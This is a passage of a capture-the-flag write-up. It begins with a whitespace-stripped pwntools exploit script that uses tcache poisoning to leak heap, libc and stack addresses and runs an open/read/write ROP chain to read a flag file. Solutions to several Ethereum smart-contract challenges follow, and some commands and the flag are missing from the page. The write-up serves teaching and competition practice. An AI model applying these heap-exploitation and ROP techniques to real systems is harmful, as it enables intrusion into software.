'''defconn():ifargs.LOCAL:r=process([exe.path])ifargs.PLT_DEBUG:# gdb.attach(r, gdbscript=gdbscript)pause()else:r=remote(remote_url,remote_port)returnrdefdemangle(val,is_heap_base=False):ifnotis_heap_base:mask=0xfff<<52whilemask:v=val&maskval^=(v>>12)mask>>=12returnvalreturnval<<12defmangle(heap_addr,val):return(heap_addr>>12)^valdefenc(target_val):s=Solver()curr_val=[BitVec(f'x{i}',64)foriinrange(len(target_val))]foriinrange(len(target_val)):s.add(curr_val[i]<=255)s.add(curr_val[i]>=0)v5=len(curr_val)foriinrange(v5):curr_val[i]=(curr_val[i]^libc_dll.rand())%2**8# v2 = sub_14010(curr_val)v3=0foriinrange(len(target_val)):v3=((v3<<8)+curr_val[i])%2**64v2=v3v6=libc_dll.rand()%v5for_inrange(v6):v2^=(v2>>1)v7=len(target_val)# res = sub_1420(v2, curr_val, v7)foriinrange(v7):curr_val[i]=(v2%2**8)s.add(curr_val[i]==target_val[i])v2>>=8# Check satout=s.check()ifout==sat:s_m=s.model()arr=[]foriinrange(len(target_val)):arr.append(s_m[BitVec(f'x{i}',64)].as_long())returnbytes(arr)else:print('FAILED ENC')exit()whileTrue:libc_dll.srand(0)libc.address=0x0try:r=conn()deforder(num,val):r.sendlineafter(b'> ',b'1')r.sendlineafter(b'Number : ',str(num).encode())r.sendafter(b'Name : ',val)defverify(num,_old_name,new_name,upd=False,inz=False):old_name=enc(_old_name)r.sendlineafter(b'> ',b'2')r.sendlineafter(b'Number : ',str(num).encode())r.sendafter(b'confirmation : ',old_name)ifinz:r.interactive()ifupd:r.sendafter(b'name : ',new_name)else:r.recvuntil(b'belongs to ')out=r.recvuntil(b'1.')[:-2]returnoutdefrefund(num):r.sendlineafter(b'> ',b'3')r.sendlineafter(b'Number : ',str(num).encode())'''
Strategy on leaking libc:
1. Tcache poison, allocate a chunk to tcache counters
2. With verify, change its counter to max size
3. Tcache poison, allocate a chunk to active chunk header
4. With verify, change its content to larger chunk size
5. Free, we get libc leak
'''# Try to leak heapforiinrange(2):order(i,b'a'*8)order(i+1,b'b'*8)foriinrange(2):refund(i)# pause()out=verify(1,b'a',b'')leaked_heap=demangle(u64(out.ljust(8,b'\x00')))info(f'{hex(leaked_heap)= }')# Try to leak libcforiinrange(3,5):order(i,b'b'*8)foriinrange(2,4):refund(i)## Poison tcache counter of 0xa0 at leaked_heap-0x1e10tcache_ctr_a0=leaked_heap-0x1e10old=p64(mangle(leaked_heap,leaked_heap+0x60))[:6]new=p64(mangle(leaked_heap,leaked_heap-0x1e10))[:6]out=verify(3,old,new,upd=True)# pause()order(0,b'a'*8)order(0,p16(0x7)*3)# 0xc0 should be full## Poison this chunk headerforiinrange(6):order(i,b'c'*8)foriinrange(6,9):order(i,b'd'*8)refund(6)refund(7)old=p64(mangle(leaked_heap,leaked_heap+0x1b0)+1)[:6]info(f'{old= }')new=p64(mangle(leaked_heap,leaked_heap+0x80)+1)[:6]out=verify(7,old,new,upd=True)order(1,b'a'*8)order(1,p64(0)+p64(0xc1))# Now order 0 is 0xc0 chunkrefund(0)# free, because full, it will contains libcout=verify(0,b'a',b'')info(f'{out= }')leaked_libc=u64(out.ljust(8,b'\x00'))libc.address=leaked_libc-(libc.sym.main_arena+96)info(f'{hex(libc.address)= }')# Time to leak stack addressenviron=libc.sym.environorder(0,b'a'*8)order(1,b'a'*8)order(2,b'a'*8)refund(0)refund(1)old=p64(mangle(leaked_heap,leaked_heap+0x90))[:6]info(f'{old= }')new=p64(mangle(leaked_heap,environ))[:6]out=verify(1,old,new,upd=True)order(0,b'a'*8)order(1,b'a')out=verify(1,b'a',b'')info(f'{out= }')leaked_stack=u64(out.ljust(8,b'\x00'))-0x61info(f'{hex(leaked_stack)= }')# Try to ROPinfo(f'TRY TO ROP')order(0,b'a'*8)order(1,b'a'*8)order(2,b'a'*8)refund(0)refund(1)old=p64(mangle(leaked_heap,leaked_heap+0x120)+1)[:6]info(f'{old= }')order_stack_rip=leaked_stack-0xe0new=p64(mangle(leaked_heap,order_stack_rip)+1)[:6]out=verify(1,old,new,upd=True)order(0,b'flag.txt\x00')# leaked_heap+0x240pop_rdi=libc.address+0x00000000000240e5payload=p64(0)+p64(pop_rdi)+p64(order_stack_rip)+p64(libc.sym.gets)order(1,payload)# ROP CHAINpop_rdi=libc.address+0x240e5pop_rdx=libc.address+0x26302pop_rsi=libc.address+0x2573epop_rax=libc.address+0x400f3syscall=libc.address+0x8bee6payload=b'a'*0x20# open(flag.txt, O_RDONLY)payload+=p64(pop_rdi)+p64(leaked_heap+0x240)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0x0)+p64(pop_rax)+p64(2)+p64(syscall)# read(3, buff, 0x200)payload+=p64(pop_rdi)+p64(5)+p64(pop_rsi)+p64(leaked_heap)+p64(pop_rdx)+p64(0x200)+p64(pop_rax)+p64(0)+p64(syscall)# write(1, buf, 0x200)payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(leaked_heap)+p64(pop_rdx)+p64(0x200)+p64(pop_rax)+p64(1)+p64(syscall)r.sendline(payload)r.interactive()except:print(f'SAD')
**Flag: **
Blockchain
Venue
Description
Author: Kiinzu
Look at the Amazing Party Venue So do you wish to enter?
Priv-Key: Please use your own private-key, if you need ETH for transact, You can either DM the Author, or get it by yourself at https://sepoliafaucet.com/
Solution
In this challenge, we were given two files called Venue.sol and 101.txt. Another thing is that in the challenge description, we also given the provider and contract address.
// SPDX-License-Identifier: MIT
pragma solidity^0.8.13;contractVenue{stringprivateflag;stringprivatemessage;constructor(stringmemoryinitialFlag,stringmemoryinitialMessage){flag=initialFlag;message=initialMessage;}functionenterVenue()publicviewreturns(stringmemory){returnflag;}functiongoBack()publicviewreturns(stringmemory){returnmessage;}}
Looking through the above source code, we can see that the deployed contract has a public method called enterVenue(), which will return the flag.
In EVM, there are two kind of invocation that we can do to interact with a contract:
call
A read-only operation that executes a contract function locally without altering the blockchain state. It’s used to query or test functions and doesn’t require gas since it doesn’t create a transaction on the blockchain.
transaction
A write operation that alters the blockchain state (such as updating variables, transferring ETH, or contract deployment). It requires gas and confirmation by the network, and the changes are permanently recorded on the blockchain.
Observed that for this challenge, we don’t actually need to do any write operation, as the goal is to call the enterVenue() function. Hence, we do not need any private key to do it.
We can use the help of foundry to interact with the contract (Installation can be found in here).
Below is the command that we can use to call the enterVenue() function.
Will you accept the invitation? If so, find the party location now!
nc ctf.tcp1p.com 20005
Solution
Trying to connect with the provided ip and port, we can see that the challenge is we need to answer a quiz, where given a contract layout, submit the storage SLOT of the password variable. Below is example question:
nc ctf.tcp1p.com 20005
====Going to The Party====
To Find the party location
You need to solve a simple riddle regarding a SLOT
Answer everything correctly, and find the exact location!
Question: In which Slot is Password Stored?
You'll answer with and ONLY WITH [numbers]
ex:
0,1,2,3,4.....99
Note:
- Slot start from 0
- If it doesn't stored on SLOT, answer 0
Identification Required for Guest
Question:
contract StorageChallenge9 {
bytes32 private unique_code;
bytes32 private key_12;
address private owner;
address[20] public player;
bool private valid;
bytes32 private password;
address private enemy;
bool private answered;
}
Answer:
To give some background, in EVM, a smart contract has persistent storage, known as “storage”, which exists in a state database, maintaining the information between function calls and transactions. The format is in form of key-value pairs.
Each contract state variables are stored in storage slots. A storage slot is capable of holding 32 bytes piece of data. Each slot can be used by one or more state variables, depends on the order and size. For example, consider this contract:
1
2
3
4
5
contract Example {
bytes32 a;
address b;
bool c;
}
In the above contract, the variable a, which has bytes32 type (32 bytes), will be stored in SLOT 0, because it is the first state that is defined in the contract. Next, variable b, which has address type (20 bytes), will be stored in SLOT 1, because the SLOT 0 has been occupied by a. Last, variable c which has bool type (1 byte), will be stored in SLOT 1 as well, because the SLOT 1 still has 12 bytes free space due to the fact that variable b only use 20 bytes of the SLOT 1.
Note
A special case which is mentioned in the chall description (“If it doesn’t stored on SLOT, answer 0”) refers to a contract which has immutable state variable. immutable state variable isn’t stored in the storage, which is why there isn’t any SLOT associated with it.
In order to solve this challenge, you can do either manual calculation, or simply compile the contract with solc <contract_name> --storage-layout like this:
nc ctf.tcp1p.com 23345
Welcome to TCP1P Blockchain Challenge
1. How to 101?
2. get Contract
>> 1
Same as the last challenge, but this time, call the help() function first
nc ctf.tcp1p.com 23345
Welcome to TCP1P Blockchain Challenge
1. How to 101?
2. get Contract
>> 2
Contract Addess: 0x364Ca1729564bdB0cE88301FC72cbE3dCCcC08eD
RPC URL : https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8
To start : Simply call the help() function, everything is written there
Note: Due it's deployed on Sepolia network, please use your own Private key to do the transaction
If you need funds, you can either DM the probset or get it on https://sepoliafaucet.com/
Let’s start by calling help() function in the given contract with the help of foundry, just like what we did before in the Venue challenge.
Welcome to TCP1P Private Club!
Enjoy the CTF Party of your life here!
But first... Please give me your id, normal people have at least member role
Of Course, there are also many VIPs over here. B-)
Functions:
Entrance(role) -> verify your role here, are you a member or VIP Class
> role --> input your role as string
stealVIPCode() -> someone might've just steal a vip code and want to give it to you
getFlag() -> Once you show your role, you can try your luck! ONLY VIP Can get the Flag!
Based on the message, we can kinda see that the top-down flow to solve this challenge here is:
We need to call getFlag() to get the flag.
In order to do that, the sender (us) need to be flagged as a certain role by the contract.
To set the role, we need to call Entrance(role). Maybe, if the role is correct, there will be some write operations in the contract which will flagged the sender as a VIP member.
Seems like the stealVIPCode() can be used to fetch the correct role.
Now that we get the idea, let’s start by calling the stealVIPCode() first.
I may or may not get you a ticket, but I don't understand much about how to decode this.
It's some sort of their abiCoder policy.
VIP-Ticket: 0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002f5443503150317374436c61737353656174202d2069732074686520564950205469636b6574207468657920736169640000000000000000000000000000000000
Let’s decode the VIP-Ticket:
1
TCP1P1stClassSeat - is the VIP Ticket they said
Okay, now that we got the code, it’s time to call Entrance(role) with that VIP-Ticket. In order to do this, we need to have a private key + some ETH balance in our account. First, let’s try to create our own wallet with MetaMask in order to have our own private key. To do that:
An Invitation to an amazing party, only if you find the right location.
Note: Please read the 101.txt.
Solution
Let’s start by reading the description inside 101.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Description:
You are provided a bytecode there, yeah?
Find out a way to get a certain function name from it,
the correct function name begin with "TCP1P" string.
Flag Format
if you manage to find the correct function name
do the exact same thing as the example below
Found Function name: TCP1P_th1s_1s_4_fl4g_()
-> remove the "()"
-> replace the first "_" with "{"
-> replace the last "_" with "}"
Final and Right flag format: TCP1P{th1s_1s_4_fl4g}
So, for this challenge, we were given a contract’s bytecode, and then we need to find the correct function name.
To give some background, in EVM, there’s a concept known as a “function selector.” When you write smart contracts in high-level languages like Solidity, these contracts contain functions. However, the EVM doesn’t understand these high-level details directly. Instead, it requires a more compact form to invoke these functions, and that’s where selectors come in.
A “selector” is a 4-byte hexadecimal identifier derived from the function’s signature. This signature is composed of the function name and the types of its arguments, serialized into a specific format. The selector itself is produced by taking the Keccak-256 hash of this signature and using only the first 8 characters (4 bytes) of the hash. This process is standardized, ensuring a unique selector for each unique function signature.
When a smart contract is compiled, the original code is transformed into bytecode. The function selectors are embedded within this bytecode, acting as the entry points for all the contract’s functions. Each high-level languages has their own strategy on the compiled bytecode looks like, but in summary, usually you can pass input data in hex-form of selector + arguments, then the bytecode will try to fetch the selector that you pass and try to jump to the suitable places.
Observed that the selector is not reversible, so in general, given a function selector, we wouldn’t be able to recover the function name. However, there are some online databases that we can use that map these 4-byte selectors back to their original function signatures. The most popular one is this website.
So, in order to tackle this challenge, there are actually 2 ways. The proper way and the lazy way :D
The lazy way
With this approach, we don’t even need to examine the bytecodes :P.
It’s important to note that, at this stage, we only have the bytecode. We haven’t identified the specific selector necessary for querying the function name in the database. However, we can guess that perhaps the creator of the challenge has already logged the function name (potentially the flag) in the online database.
Another educated guess could be that the challenge author stored the selector function just before the start of the CTF. So, an idea might be to access the database, arrange the entries by ID in descending order, and manually check each entry for a potential flag, starting from the most recent. The premise here is that the flag should be quite close to the recent entries.
As it turns out, this educated guess was accurate. The flag was located around page 40, relatively close to the most recent entries in the database.
The proper way
Let’s start by disassembling the EVM bytecode with my favourite online disassembler. Don’t take a look in the decompiled one, but look at the disassembled output instead.
In the bytecode of a compiled contract, usually there will be sequences of opcodes like this:
1
2
3
4
PUSH4 <selector>
EQ
PUSH <code_dest>
JUMPI
The code essentially performs operations comparing the user’s input with the available selectors within the contract. If there’s a match, it prompts the VM to jump to the bytecode of the corresponding selector function. To retrieve all available selectors, we can simply search for the PUSH4 opcode in the disassembled results, then verify each value individually in the online database. Observed that the following sequence appeared in the disassembled output: